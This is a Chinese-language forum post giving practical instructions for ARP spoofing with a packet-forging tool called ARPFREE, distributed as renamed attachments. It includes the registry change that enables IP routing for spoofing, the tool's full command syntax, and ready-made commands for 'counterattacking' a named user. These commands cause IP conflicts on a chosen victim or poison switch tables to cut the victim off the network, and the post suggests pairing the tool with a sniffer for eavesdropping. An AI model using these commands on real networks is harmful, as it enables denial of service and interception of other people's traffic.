补充:
开始忘记说了,要使用ARP欺骗,必须启动ip路由功能,修改(添加)注册表选项:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter = 0x1
下面的朋友发现打开网卡失败,原因可能就是这个~对不起,对不起~
我一个朋友做的发送ARP报文的软件,可以发送任意 源,目的 地址的ARP报文
我觉得挺方便的,可以结合SNIFFER做不少的事~不用老在SNIFFER里做ARP包了~
不过要安装winpacp驱动先, winpacp在附件1中(要先重命名为WinPcap_3_0.exe
再安装)因为不能上传EXE....
软件(ARPFREE)在附件2中。
发送的时候可以选择ARP的TYPE。如果是ARP请求报文,则只要输入要问的IP地址
如果是ARP应答报文则要输入发送端的IP以及对方询问MAC地址对应的IP地址
最后的发送速度可选参数为:(大小写敏感..我觉得挺不好的)
fast----------最快
hear---------每60MS一个包(可能是比较适合结合SNIFFER做监听)
slowhear---每500MS一个包
auto---------每1秒一个包
slow---------每2秒个包
使用方法如下:
***********************************************************************
* (1)Send arp packet in "request mode" Examples:
* arpfree 0050fc272b26 000b6af80ca8 request 1.1.1.1 fast
* | | | | |
* your mac address | | | |
* destnation mac | | speed
* arp type |
* |
* your ip address
***********************************************************************
* (2)Send arp packet in "reply mode" Examples:
* arpfree 0050fc272b26 000b6af80ca8 reply 1.1.1.1 2.2.2.2 auto
* | | | | | |
* your mac address | | | | |
* destnation mac | | | speed
* arp type | |
* | |
* your ip address |
* |
* the ip address of destnation mac
***********************************************************************
补充:反击“LAN终结者”的办法:
反击“终结者”有几个办法:
1:发动比他更强烈的攻击:
arpfree 123412341234 ffffffffffff request 192.168.237.58 fast
|
|
这里是你想攻击的人的IP地址
2:交换机竞争:
arpfree 00c04c395a3c 123412341234 request 1.1.1.1. fast
|
|
这里是你想攻击的人的MAC地址
1:情况将导致他IP地址冲突(比“终结者”来的猛烈多了)
2:情况将使得他无法连接网络(由于交换机把他的流量都给你了) |